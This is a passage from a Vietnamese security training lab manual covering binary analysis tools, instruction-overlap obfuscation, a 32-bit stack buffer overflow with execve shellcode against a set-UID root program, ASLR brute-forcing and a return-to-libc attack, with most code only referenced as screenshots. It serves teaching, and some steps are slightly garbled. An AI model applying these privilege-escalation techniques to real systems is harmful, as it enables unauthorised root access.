  1. Bây giờ, chúng ta đã sẵn sàng để chuyển sang bước tiếp theo. Nhập quit. Điều này sẽ thoát khỏi trình gỡ lỗi.

Chúng ta sẽ thử một trình gỡ lỗi khác. Nhập edb –run -/examples/samplecode/info. Điều này sẽ khởi chạy Trình gỡ lỗi của Evan như được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình đầu ra của edb –run -/examples/samplecode/info]

  1. Tiếp theo, nhấp vào CTL+SHIFT+f để mở trình tìm hàm. Cửa sổ sẽ mở ra với lệnh đầu tiên được đánh dấu như được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình của trình tìm hàm]

  1. Tiếp theo, nhấp vào nút Tìm, và tìm hàm main info trong bảng ký hiệu. Nhấp vào nó, và sau đó chọn Đồ thị Hàm đã chọn. Dành vài phút để xem xét kết quả từ việc vẽ đồ thị của hàm.

[Ảnh chụp màn hình của đồ thị hàm]

  1. Như bạn thấy, có rất nhiều khả năng và sức mạnh với công cụ edb. Đóng edb và nhập strace -/examples/samplecode/info. Một ví dụ về đầu ra của lệnh này được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình đầu ra của strace -/examples/samplecode/info]

  1. Dành vài phút và quan sát kết quả. Nhập nhiều chuỗi khác nhau và quan sát kết quả một lần nữa.
  2. Tiếp theo, nhập ltrace -/examples/samplecode/info. Một lần nữa, nhập các chuỗi khác nhau và quan sát đầu ra. Bạn sẽ thấy hàm so sánh chuỗi. Điều này là do ltrace hiển thị các thư viện có trong tệp thực thi. Một ví dụ về điều này được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình đầu ra của ltrace -/examples/samplecode/info]

  1. Sử dụng tự động hóa là một ý tưởng hay. Một ví dụ về tập lệnh tự động hóa có trong thư mục mẫu mã và nó được gọi là automation.sh.
  2. Chúng ta sẽ phân tích thêm một tệp nhị phân nữa trước khi hoàn thành bài tập. Nhập các lệnh sau và phân tích đầu ra:a. readelf -a -s -W -/examples/samplecode/info2

[Ảnh chụp màn hình đầu ra của readelf -a -s -W -/examples/samplecode/info2]

      b. `objdump -d -M intel -/examples/samplecode/info2`
    

Use code with caution.

[Ảnh chụp màn hình đầu ra của objdump -d -M intel -/examples/samplecode/info2]

      c. `ltrace -/examples/samplecode/info2`
    

Use code with caution.

[Ảnh chụp màn hình đầu ra của ltrace -/examples/samplecode/info2]

      d. `strace -/examples/samplecode/info2`
    

Use code with caution.

[Ảnh chụp màn hình đầu ra của strace -/examples/samplecode/info2]

  1. Các mục tiêu của bài tập đã đạt được. Đóng tất cả các cửa sổ và dọn dẹp nếu cần.

Bài tập 4: Phân tích nhị phân nâng cao

Mục tiêu bài tập:

Trong bài tập này, chúng ta xem xét quy trình tháo gỡ tùy chỉnh của một tệp nhị phân. Chúng ta sẽ chỉ cung cấp một cái nhìn tổng quan ngắn gọn về quy trình tuyệt vời này. Khi bạn tìm hiểu Phân tích nhị phân nâng cao, bạn sẽ không gặp bất kỳ trở ngại nào trong việc đưa mã vào các tệp nhị phân mà bạn đang cố gắng phân tích.

Nhiệm vụ bài tập:

  1. Đăng nhập vào máy Phần mềm-Kiểm tra-Linux bằng studentpassword làm mật khẩu.

[Ảnh chụp màn hình màn hình đăng nhập Ubuntu]

  1. Chúng ta sẽ xem xét một quy trình đơn giản về obfuscation mã sử dụng phương pháp chồng chéo lệnh. Ví dụ mà chúng ta đang sử dụng ở đây là một ví dụ đơn giản về thiết kế ngược một tệp nhị phân xor.
  2. Như đã đề cập trong các slide, giả định là hầu hết các lệnh được ánh xạ như sau:a. Mỗi byte trong một tệp nhị phân được ánh xạ tới ít nhất một lệnh.b. Một lệnh được chứa trong một khối cơ bản duy nhất.
  3. Do đó, một bộ tháo rời không tìm kiếm các đoạn mã chồng chéo. Do đó, khi các lệnh chồng chéo, việc thiết kế ngược sẽ khó khăn hơn.
  4. Chúng ta có thể sử dụng kỹ thuật này vì các lệnh x86 có độ dài khác nhau. Do đó, bộ xử lý không thực thi căn chỉnh lệnh, cho phép mã chiếm chỗ của một lệnh mã khác.
  5. Bạn có thể tháo rời từ giữa một lệnh. Điều này sẽ tạo ra một lệnh khác chồng lên lệnh đầu tiên.
  6. Hãy nhớ rằng điều này rất dễ thực hiện trong x86, do bộ lệnh dày đặc, trong đó hầu như bất kỳ chuỗi byte nào cũng tương ứng với một số lệnh hợp lệ.
  7. Chúng ta sẽ sử dụng ví dụ mã đơn giản được hiển thị trong ảnh chụp màn hình sau, trong đó sử dụng lệnh chồng chéo.

[Ảnh chụp màn hình của mã nguồn C có chứa lệnh chồng chéo]

  1. Nhập mã được hiển thị ở trên và lưu nó dưới dạng overlap.c.
  2. Khi bạn đã tạo và lưu tệp, hãy biên dịch nó bằng cách nhập gcc -o overlap overlap.c.

[Ảnh chụp màn hình cửa sổ terminal hiển thị lệnh được sử dụng để biên dịch mã]

  1. Chúng ta có thể xem lại ví dụ về một chồng chéo đơn giản bằng cách nhập mã sau và kiểm tra ví dụ đơn giản của chúng ta và mã đối tượng tương ứng.
  2. Nhập objdump -M intel –start-address=0x4005f6 -d overlap. Đầu ra của lệnh này được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình đầu ra của lệnh objdump]

  1. Như ảnh chụp màn hình ở trên cho thấy, chúng ta có khối mã. Khi bạn xem lại, địa chỉ đầu tiên kết thúc bằng 5f6 là tham số “i” của chúng ta. Biến cục bộ “j” nằm tại địa chỉ kết thúc bằng 60a. Một lần nữa, lệnh cho jne nằm tại địa chỉ kết thúc bằng 60a nhảy vào giữa lệnh thay vì vào địa chỉ của lệnh. Ví dụ: lệnh thực hiện xor nằm tại địa chỉ kết thúc bằng 610.
  2. Hầu hết các bộ tháo rời sẽ chỉ tháo rời các lệnh được hiển thị trong ảnh chụp màn hình. Do đó, chúng sẽ bỏ lỡ lệnh chồng chéo nằm tại địa chỉ kết thúc bằng 612.
  3. Như mã cho thấy, nếu i=0, thì lệnh nhảy không được thực hiện và nó rơi vào phần còn lại của mã. Tùy chọn khác là khi i!=0, mã ẩn sẽ thực thi. Vậy làm thế nào để bạn xác định điều này? Hy vọng, bạn đã nói bằng cách nhập địa chỉ mà jne đang nhảy tới và nếu bạn đã làm, thì bạn đã đúng!
  4. Để xem điều này, nhập objdump -M intel –start-address=0x400612 -d overlap. Một ví dụ về đầu ra của điều này được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình đầu ra của objdump -M intel –start-address=0x400612 -d overlap]

  1. Như ảnh chụp màn hình ở trên cho thấy, khi i != 0 thì chúng ta lấy nhánh ẩn. Kết quả này thêm giá trị trong al vào 0x4, dẫn đến thay đổi đáng kể trong mã và thay đổi giá trị trả về.
  2. Trong khi chúng ta đã tiết lộ lệnh tại các địa chỉ kết thúc bằng 612 và 614 với thiết kế ngược của chúng ta, bây giờ chúng ta đã ẩn các lệnh nằm tại các địa chỉ kết thúc bằng 610 và 611.
  3. Do đó, bây giờ chúng ta phải đối mặt với một thách thức khác. Đây là lý do tại sao quá trình này có thể tốn thời gian, đặc biệt là khi có nhiều vị trí triển khai obfuscation.
  4. Các mục tiêu của bài tập đã đạt được.

Bài tập 5: Tràn bộ đệm 32-bit

Mục tiêu bài tập:

Kiểm tra chương trình về lỗ hổng tràn bộ đệm.

Nhiệm vụ bài tập:

  1. Đăng nhập vào máy Phần mềm-Kiểm tra-Linux-32bit bằng studentpassword làm mật khẩu.

[Ảnh chụp màn hình màn hình đăng nhập Ubuntu]

  1. Trước khi chúng ta bắt đầu kiểm tra tràn bộ đệm của một chương trình, chúng ta cần đảm bảo rằng máy của chúng ta được thiết lập với các biện pháp bảo vệ bị vô hiệu hóa. Trong cửa sổ terminal, nhập sudo sysctl -w kernel.randomize_va_space=0. Điều này sẽ tắt Ngẫu nhiên hóa Bố trí Không gian Địa chỉ (ASLR) như được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình cửa sổ terminal hiển thị lệnh được sử dụng để tắt ASLR]

  1. Bây giờ ASLR đã tắt, chúng ta muốn xem mã. Nhập more -/examples/samplecode/shellcode.c. Một ví dụ về đầu ra của lệnh được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình đầu ra của lệnh more]

  1. Như bạn có thể thấy từ ảnh chụp màn hình ở trên, chúng ta có một cấu trúc xác định shellcode của chúng ta, và trong các bình luận, chúng ta hiển thị mã assembly kết quả. Mã này gọi lệnh gọi hệ thống execve() để thực thi /bin/sh. Có một vài điểm đáng chú ý trong shellcode này. Đầu tiên, lệnh thứ ba đẩy “//sh” thay vì “/sh” vào ngăn xếp. Điều này là do chúng ta cần một số 32-bit ở đây và “/sh” chỉ có 24 bit. May mắn thay, “//” tương đương với “/”, vì vậy chúng ta có thể bỏ qua ký hiệu dấu gạch chéo kép. Thứ hai, trước khi gọi lệnh gọi hệ thống execve(), chúng ta cần lưu trữ name[0] (địa chỉ của chuỗi), name (địa chỉ của mảng) và NULL vào các thanh ghi %ebx, %ecx và %edx tương ứng. Dòng 5 lưu trữ name[0] vào %ebx, dòng 8 lưu trữ name vào %ecx và dòng 9 đặt %edx thành 0. Có nhiều cách khác để đặt %edx thành 0 (ví dụ: xorl %edx, %edx); cách được sử dụng ở đây (cdq) chỉ đơn giản là một lệnh ngắn hơn: nó sao chép dấu (bit 31) của giá trị trong thanh ghi EAX (là 0 tại thời điểm này) vào mọi vị trí bit trong thanh ghi EDX, về cơ bản đặt %edx thành 0. Thứ ba, lệnh gọi hệ thống execve() được gọi khi chúng ta đặt %al thành 11 và thực thi “int $0x80”.
  2. Bây giờ, chúng ta đã sẵn sàng để thử và biên dịch để xem mã của chúng ta có cung cấp một shell như chúng ta mong đợi hay không. Thay đổi thư mục thành cd -/examples/samplecode. Trong cửa sổ terminal, nhập gcc -z execstack -o shellcode shellcode.c. Miễn là bạn không gặp bất kỳ lỗi nào, chúng ta sẽ ổn. Bạn sẽ nhận được cảnh báo vì các trình biên dịch hiện đại sẽ cảnh báo nếu họ thấy bất kỳ điều gì không phải là lập trình hợp lý. Vì vậy, tại sao tất cả các lỗ hổng? Điều đó không thể được trả lời mà không có một cuộc thảo luận dài mà nhiều người sẽ không đồng ý, vì vậy chúng ta sẽ chỉ làm việc với những gì chúng ta có.

[Ảnh chụp màn hình đầu ra của các lệnh được sử dụng để biên dịch mã]

  1. Xác minh rằng chương trình chạy và tạo ra đầu ra mong muốn như được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình đầu ra của chương trình shellcode]

  1. Để thoát khỏi shell, nhập exit. Chúng ta không mã +c. Bạn có thể thử, nhưng nó sẽ không có bất kỳ tác dụng nào.
  2. Bây giờ, chúng ta muốn xem xét chương trình dễ bị tổn thương. Đó chỉ là một chương trình đơn giản sử dụng strcpy(), không nên được sử dụng để lập trình nữa ngoại trừ để dạy tràn bộ đệm.
  3. Đảm bảo bạn đang ở trong thư mục samplecode và nhập more stack.c. Giải thích cho điều này như sau.

[Ảnh chụp màn hình đầu ra của lệnh more]

  1. Chương trình trước tiên đọc đầu vào từ một tệp có tên là badfile, sau đó chuyển đầu vào này sang một bộ đệm khác trong hàm bof(). Đầu vào ban đầu có thể có độ dài tối đa là 517 byte, nhưng bộ đệm trong bof() chỉ dài BUFSIZE byte, nhỏ hơn 517. Vì strcpy() không kiểm tra ranh giới, nên sẽ xảy ra tràn bộ đệm. Vì chương trình này là chương trình Set-UID thuộc sở hữu của root, nếu một người dùng bình thường có thể khai thác lỗ hổng tràn bộ đệm này, người dùng đó có thể có được shell root. Cần lưu ý rằng chương trình nhận đầu vào từ một tệp có tên là badfile. Tệp này nằm dưới sự kiểm soát của người dùng. Bây giờ, mục tiêu của chúng ta là tạo nội dung cho badfile, sao cho khi chương trình dễ bị tổn thương sao chép nội dung vào bộ đệm của nó, một shell root có thể được tạo ra.
  2. Sau khi bạn đã xem xét chương trình ngắn, chúng ta cần biên dịch nó. Nhập gcc -o stack -z execstack -fno-stack-protector stack.c. Điều này sẽ biên dịch mà không có lỗi.

[Ảnh chụp màn hình cửa sổ terminal hiển thị lệnh được sử dụng để biên dịch mã]

  1. Đối với tràn bộ đệm này, chúng ta cần biến nó thành Set-UID thành root. Nhập sudo -l và điều hướng đến thư mục samplecode bằng cách nhập cd /home/student/examples/samplecode theo sau là chown root shellcode. Sau đó nhập chmod 4755 shellcode. Bây giờ để xác minh rằng bit dính đã được đặt, hãy nhập ls -lart shellcode. Một ví dụ về điều này được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình cửa sổ terminal hiển thị bit dính]

  1. Bây giờ, chúng ta đã đặt bit dính (set-UID), được biểu thị bằng “s”.
  2. Quay lại mã stack.c và xem xét nó, như các mã cho biết rằng chúng ta cần tạo tệp badfile này. Sau khi hoàn thành, chúng ta có thể nhận con trỏ lệnh để thực thi những gì chúng ta đã chuyển cho nó. Vì vậy, trong badfile, chúng ta phải có những điều sau đây:a. Shellcodeb. Địa chỉ của shellcode
  3. Nội dung của badfile cần chứa những điều sau đây:a. Tìm địa chỉ của biến bộ đệm trong bof().b. Tìm khoảng cách của địa chỉ trả về từ biến bộ đệm.c. Tìm khoảng cách của shellcode từ biến bộ đệm.d. Khi chúng ta có a và c, hãy tìm địa chỉ dự kiến của mã shell.e. Với b và d, hãy chèn mã shell vào đúng vị trí, khoảng cách từ đầu badfile.
  4. Chúng ta phải biên dịch lại chương trình và lần này, sử dụng cờ gỡ lỗi để hỗ trợ.
  5. Trong cửa sổ terminal, nhập gcc -o stack_gdb -g -z execstack -fno-stack-protector stack.c. Sau khi mã được biên dịch, nhập ls -lart stack_gdb.

[Ảnh chụp màn hình đầu ra của ls -lart stack_gdb]

  1. Bây giờ, chúng ta đã có khả năng gỡ lỗi trong tệp, vì vậy chúng ta sẽ phân tích nó bằng gdb. Trong cửa sổ terminal, nhập nội dung sau:a. gdb stack_gdbb. break bofc. run

Một ví dụ về đầu ra được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình đầu ra của các lệnh được sử dụng để bắt đầu gdb]

  1. Đợi một chút. Chúng ta gặp lỗi phân đoạn. Bạn nghĩ tại sao lại như vậy? Cuộn xuống và bạn sẽ thấy câu trả lời. Một ví dụ về điều này được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình đầu ra hiển thị lỗi phân đoạn]

  1. Thông báo lỗi cho bạn biết rằng chúng ta không có tệp và khi bạn nhìn vào mã, bạn thấy rằng chúng ta đã xác định FILE như được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình của đoạn mã hiển thị khai báo FILE]

  1. Điều này sẽ xảy ra. Chúng ta cần tệp, vì vậy cách dễ nhất là mở một cửa sổ terminal khác và nhập touch badfile. Bây giờ, quay lại trình gỡ lỗi và nhập run. Tiếp theo, chương trình sẽ bước đến điểm dừng như được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình đầu ra của gdb hiển thị chương trình dừng tại điểm dừng]

  1. Bây giờ, chúng ta đã sẵn sàng để tiếp tục. Nhập print &buffer. Một ví dụ về điều này được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình đầu ra của print &buffer]

  1. Tiếp theo, chúng ta cần địa chỉ của ebp. Nhập print $ebp. Một ví dụ về điều này được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình đầu ra của print $ebp]

  1. Bây giờ, chúng ta có những điều sau đây:a. buffer[] = 0xbfffece2b. ebp = 0xbfffed08
  2. Làm thế nào để chúng ta tìm khoảng cách giữa hai giá trị này? Cách dễ nhất là lấy ba số cuối cùng vì chỉ có điều đó khác nhau và trừ ce2 khỏi d08, bằng 26 byte. Do đó, khoảng cách là 26 byte. Đây là máy 32 bit và con trỏ là 4 byte, vì vậy điều đó phải được thêm vào khoảng cách. Vì vậy, 26 + 4 = 30. Điều này có nghĩa là con trỏ khung cách buffer[] 30 byte. Một ví dụ về mã được hiển thị trong ảnh chụp màn hình tiếp theo xác minh những phát hiện của chúng ta.

[Ảnh chụp màn hình của đoạn mã hiển thị buffer[] và ebp]

  1. Chúng ta chưa hoàn thành các bước; chúng ta cần đưa mã shell vào địa chỉ bộ nhớ cao hơn. Do đó, chúng ta cần tính đến địa chỉ trả về chiếm 4 byte, vì vậy điều đó phải được thêm vào. Chúng ta có 30 + 4 được thêm vào buffer[] để biểu thị địa chỉ thấp hơn của chúng ta để đưa mã shell vào.
  2. Vì buffer[] nằm tại 0xbfffece2, chúng ta phải thêm 34 byte của mình vào giá trị này. Kết quả là 0xbfffed16. Vì không có gì đảm bảo rằng trình gỡ lỗi chính xác 100%, chúng ta sẽ chọn một địa chỉ cao hơn để bù đắp cho khả năng này. Chúng ta sẽ chọn địa chỉ 0xbfffeef8. Điều này sẽ đặt chúng ta ở một địa chỉ cao hơn, và chúng ta có thể cố gắng để Con trỏ Lệnh nằm trong vùng NOP của chúng ta. Chúng ta sử dụng NOP để tăng cơ hội thành công.
  3. Chúng ta có phần đầu của chương trình trong thư mục. Nhập nano exploit.c và dành vài phút để xem xét mã. Một ví dụ về vùng mã bạn cần làm việc được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình của đoạn mã hiển thị vùng cần mã hóa]

  1. Phần sau memset đang tải lệnh NOP của chúng ta là vùng cần được mã hóa. Như một lời nhắc nhở, tệp này được sử dụng để cung cấp nội dung của badfile mà chúng ta muốn tải bằng mã của mình.
  2. Chúng ta có thể cung cấp cho bạn câu trả lời chính xác ngay bây giờ, nhưng bạn nên thử nghiệm với quy trình. Điều đầu tiên cần làm là đặt dữ liệu cần thiết để tạo badfile. Một ví dụ về hexdump của tệp được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình đầu ra của lệnh hexdump]

  1. Khi bạn làm cho nó hoạt động, bạn sẽ nhận được đầu ra sau.

[Ảnh chụp màn hình đầu ra của lệnh stacktest]

  1. Một điều bạn sẽ nhận thấy là chúng ta không nhận được shell root. Điều này là do các biện pháp bảo vệ được đặt ra cho việc chạy mã. Shell nhận ra rằng người dùng thực không phải là root và chặn việc nâng cấp. Để khắc phục điều này, bạn phải đặt UID thành 0. Một ví dụ về đầu ra khi điều này được thực hiện chính xác được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình đầu ra của lệnh realuid]

  1. Như ảnh chụp màn hình ở trên cho thấy, bây giờ chúng ta đã có được shell root. Tận hưởng và hãy nhớ rằng thất vọng là tốt; chúng ta học hỏi khi chúng ta thất vọng.
  2. Tiếp theo, chúng ta có thể bật ASLR và xem chương trình của chúng ta không hoạt động như thế nào bây giờ. Trong cửa sổ terminal, nhập sysctl -w kernel.randomize_va_space=2. Tiếp theo, hãy thử chạy chương trình của bạn. Một ví dụ về nỗ lực này được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình cửa sổ terminal hiển thị ASLR ngăn chương trình thực thi]

  1. Như ảnh chụp màn hình ở trên cho thấy, ASLR ngăn chương trình thực thi.
  2. Trên các máy Linux 32 bit, ngăn xếp chỉ có 19 bit entropy, có nghĩa là địa chỉ cơ sở của ngăn xếp có thể có 2^19 = 524.288 khả năng. Con số này không cao lắm và có thể dễ dàng bị cạn kiệt bằng phương pháp brute-force. Trong nhiệm vụ này, chúng ta sử dụng phương pháp như vậy để đánh bại biện pháp đối phó ngẫu nhiên hóa địa chỉ trên máy ảo 32 bit của chúng ta.
  3. Tạo tập lệnh shell sau:

[Ảnh chụp màn hình của tập lệnh shell]

  1. Mã này sẽ tiếp tục chạy cho đến khi tìm thấy địa chỉ để lấy shell. Lưu ý rằng nó cũng có thể không tìm thấy địa chỉ. Vui lòng đợi; có thể mất một thời gian để đến đúng địa chỉ, nếu có. Đây là những thách thức của việc vượt qua các trở ngại trong hệ điều hành.
  2. Các mục tiêu của bài tập đã đạt được. Đóng tất cả các cửa sổ và dọn dẹp nếu cần.

Bài tập 6: Khai thác Libc để bỏ qua không thực thi ngăn xếp

Mục tiêu bài tập: Khai thác Libc để bỏ qua không thực thi ngăn xếp để có được đặc quyền root.

Nhiệm vụ bài tập:

  1. Đăng nhập vào máy Phần mềm-Kiểm tra-Linux-32bit bằng studentpassword làm mật khẩu.

[Ảnh chụp màn hình màn hình đăng nhập Ubuntu]

  1. Như chúng ta đã làm trước đó, trước tiên chúng ta xác minh rằng Ngẫu nhiên hóa Bố trí Không gian Địa chỉ (ASLR) đã tắt vì như bạn đã thấy trước đó, điều này sẽ làm phức tạp quy trình. Trong cửa sổ terminal, nhập sysctl kernel.randomize_va_space. Giá trị này phải được đặt thành 0. Nếu không, hãy nhập sudo sysctl kernel.randomize_va_space=0.

[Ảnh chụp màn hình đầu ra của lệnh được sử dụng để tắt ASLR]

  1. Bây giờ chúng ta đã tắt ASLR, chúng ta có thể kiểm tra mã mẫu. Mã chúng ta muốn xem xét trước tiên nằm trong tệp retlib.c. Mở nó trong trình soạn thảo ưa thích của bạn và xem lại. Một ví dụ về mã được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình của mã nguồn C của chương trình retlib]

  1. Như bạn có thể thấy trong ảnh chụp màn hình ở trên, có một vấn đề tràn bộ đệm trong mã này. Trước tiên, nó đọc đầu vào có kích thước 300 byte từ một tệp có tên badfile. Sau đó, nó sao chép điều này vào một bộ đệm 12 byte, vì vậy 300 vào 12 sẽ không hoạt động tốt. Mã sẽ được đặt thành chương trình set-UID, vì vậy một người dùng thông thường khai thác nó có thể có được đặc quyền root.
  2. Một lần nữa, chúng ta sẽ sử dụng badfile để tạo mã shell của chúng ta và sau đó sao chép nó vào bộ đệm 12 byte của chúng ta.
  3. Chúng ta muốn biên dịch mã. Nhập cd Downloads/libc và sau đó Nhập gcc -fno-stack-protector -z noexecstack -o retlib retlib.c.

[Ảnh chụp màn hình cửa sổ terminal hiển thị lệnh được sử dụng để biên dịch mã]

  1. Sau khi mã biên dịch, chúng ta muốn đặt bit set-UID. Nhập sudo chown root retlib và sau đó sudo chmod 4755 retlib.

[Ảnh chụp màn hình cửa sổ terminal hiển thị các lệnh được sử dụng để đặt bit set-UID]

  1. Nhiệm vụ đầu tiên của chúng ta là tìm địa chỉ của hàm libc. Trong Linux, khi một chương trình chạy, thư viện libc sẽ được tải vào bộ nhớ. Khi ngẫu nhiên hóa địa chỉ bộ nhớ bị tắt, đối với cùng một chương trình, thư viện luôn được tải vào cùng một địa chỉ bộ nhớ (đối với các chương trình khác nhau, địa chỉ bộ nhớ của thư viện libc có thể khác nhau). Do đó, chúng ta có thể dễ dàng tìm ra địa chỉ của system() bằng một công cụ gỡ lỗi như gdb. Chúng ta có thể gỡ lỗi chương trình mục tiêu retlib. Mặc dù chương trình là chương trình Set-UID thuộc sở hữu của root, chúng ta vẫn có thể gỡ lỗi nó, ngoại trừ đặc quyền sẽ bị bỏ (tức là, ID người dùng hiệu quả sẽ giống với ID người dùng thực). Bên trong gdb, chúng ta cần nhập lệnh run để thực thi chương trình mục tiêu một lần; nếu không, mã thư viện sẽ không được tải. Chúng ta sử dụng lệnh p (hoặc print) để in ra địa chỉ của các hàm system() và exit() (chúng ta sẽ cần exit() sau này).
  2. Chúng ta cần tạo badfile của chúng ta. Trong cửa sổ terminal, nhập touch badfile.
  3. Bây giờ chúng ta đã có tệp, hãy nhập gdb -q retlib. Chúng ta sử dụng chế độ im lặng ở đây và bạn sẽ lưu ý từ ảnh chụp màn hình sau rằng chúng ta không có các ký hiệu gỡ lỗi.

[Ảnh chụp màn hình cửa sổ terminal hiển thị thông báo cho biết không tìm thấy ký hiệu gỡ lỗi]

  1. Tiếp theo, nhập run. Sau khi đầu ra dừng lại, nhập p system. Sau đó nhập p exit và thoát. Một ví dụ về đầu ra này được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình đầu ra của các lệnh p system và p exit]

  1. Chúng ta có hai địa chỉ ngay bây giờ. Chiến lược tấn công là nhảy đến hàm system() và yêu cầu nó thực thi một lệnh, trong trường hợp của chúng ta là /bin/sh. Để điều này xảy ra, chúng ta phải có /bin/sh trong bộ nhớ trước và chúng ta cần địa chỉ đó để chuyển cho system() trong libc. Một trong những cách để làm điều này là sử dụng một biến môi trường và đó là những gì chúng ta sẽ sử dụng; cũng có những cách khác.
  2. Để tạo môi trường của chúng ta, nhập các lệnh sau:

export MYSHELL=/bin/sh

env | grep MYSHELL

  1. Một ví dụ về đầu ra của các lệnh này được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình đầu ra của các lệnh được sử dụng để tạo biến môi trường]

  1. Bây giờ, chúng ta cần tạo một chương trình sẽ cung cấp cho chúng ta địa chỉ. Trong trình soạn thảo văn bản ưa thích của bạn, nhập mã sau:

[Ảnh chụp màn hình của mã nguồn C của chương trình printenv]

  1. Lưu tệp dưới dạng printenv.c và biên dịch nó. Nhập gcc -o printenv printenv.c.

Sau đó nhập ./printenv để chạy chương trình. Một ví dụ về điều này được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình đầu ra của chương trình printenv]

  1. Bây giờ, chúng ta hãy quay lại chương trình dễ bị tổn thương của chúng ta và xem xét quá trình chúng ta có thể lấy bước nhảy đến địa chỉ của biến môi trường. Vùng có tràn bộ đệm được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình của đoạn mã hiển thị vùng có tràn bộ đệm]

  1. Khi bof() được gọi, ngăn xếp của chúng ta sẽ giống với những gì được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình của ngăn xếp khi bof() được gọi]

  1. Để nhắc lại, chúng ta có một ngăn xếp không thể thực thi, vì vậy chúng ta phải làm cho mã nhảy vào biến môi trường và chạy system() tại địa chỉ đó. Khái niệm này được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình của ngăn xếp sau khi khai thác]

  1. Như ảnh chụp màn hình trong Hình 6.8 cho thấy, nhiệm vụ đầu tiên của chúng ta là tràn địa chỉ trả về của bof và thay thế nó bằng địa chỉ của system() của chúng ta.
  2. Chúng ta chưa hoàn thành các bước; vì chúng ta đã đến được system, không có nghĩa là nó đã sẵn sàng. Chúng ta phải chuyển chuỗi “/bin/sh” cho hàm system; nếu không, chúng ta không có shell.
  3. Do đó, chúng ta vẫn cần làm những điều sau đây:a. Lấy địa chỉ chứa “/bin/sh”.b. Xác định vị trí chèn địa chỉ đó so với buffer[] của chúng ta.
  4. Chúng ta có địa chỉ từ kỹ thuật mà chúng ta đã sử dụng trước đó, vì vậy chúng ta có thể sử dụng nó ngay bây giờ. Vì chúng ta đang ở trên hệ thống 32 bit, mỗi địa chỉ là 4 byte. Chúng ta cần thêm hai cấp vào khung ngăn xếp. Điều này được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình của khung ngăn xếp]

  1. Như ảnh chụp màn hình ở trên cho thấy, chúng ta cần thêm 0x08 byte vào địa chỉ của Con trỏ Khung (ebp) của chúng ta.
  2. Để tính toán điều này, tốt nhất là sử dụng phương pháp từng bước và theo dõi luồng điều khiển từ khi trả về bof() cho đến khi nhập system(). Điều này sẽ cung cấp cho chúng ta khoảng cách chính xác cho địa chỉ từ “/bin/sh” đến bộ đệm.
  3. Lưu ý rằng nếu chúng ta thay đổi tên của chương trình, nó cũng sẽ THAY ĐỔI địa chỉ.
  4. Mọi hàm khi trả về đều thực thi hai lệnh assembly sau:

mov %ebp, %esp: sao chép giá trị của ebp vào esp

pop %ebp: lấy phần trên cùng của ngăn xếp và đặt nó vào ebp

  1. Điều này được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình trạng thái của ngăn xếp]

  1. Con trỏ ngăn xếp bây giờ trỏ đến vị trí con trỏ khung trỏ để giải phóng không gian ngăn xếp được cấp phát cho các biến cục bộ.
  2. Con trỏ khung trước đó được gán cho %ebp để khôi phục con trỏ khung của hàm gọi.
  3. Địa chỉ trả về được lấy ra khỏi ngăn xếp và chương trình nhảy đến địa chỉ đó. Lệnh này di chuyển con trỏ ngăn xếp.
  4. Với tràn bộ đệm, địa chỉ trả về sẽ là của system() của chúng ta. Sau khi nó nhập điều này, nó sẽ thực thi các lệnh assembly sau.

push %ebp: đẩy giá trị hiện tại của ebp lên trên cùng của ngăn xếp

mov %esp, %ebp: sao chép giá trị hiện tại của esp vào ebp

  1. Sau khi điều này xảy ra, chúng ta có một ngăn xếp khác như được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình của ngăn xếp sau khi thực thi system()]

  1. Khi bạn xem xét ảnh chụp màn hình trong Hình 6.11, lưu ý rằng system() sẽ tìm địa chỉ của đối số chuỗi của nó là 0x08 byte trên ebp. Điều này được hiển thị trong “Dự kiến theo system()”.
  2. Đây là 0x04 byte trên vị trí FILE* được đặt trong khung ngăn xếp của phương thức bof(). Bạn cũng có thể quan sát thấy rằng system() sẽ tìm kiếm địa chỉ trả về của nó là 0x04 byte trên ebp, chính xác là nơi FILE* được đặt trong khung ngăn xếp của phương thức bof().
  3. Với dữ liệu này, bây giờ chúng ta có thể tính toán vị trí đặt system() cũng như exit() để chúng ta thoát sạch khỏi chương trình và kết thúc thực thi. Một ví dụ về ngăn xếp này được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình của ngăn xếp với system() và exit()]

  1. Bây giờ, chúng ta cần tính toán các địa chỉ, có nghĩa là chúng ta phải sử dụng trình gỡ lỗi và xác định khoảng cách giữa edb và buffer[] như chúng ta đã làm trước đó.
  2. Trước khi chúng ta làm điều đó, chúng ta có thể xem chương trình gọi khai thác.

Mở exploit.c trong trình soạn thảo ưa thích của bạn. Một ví dụ về điều này được hiển thị trong ảnh chụp màn hình sau.

[Ảnh chụp màn hình của mã nguồn C của chương trình exploit]

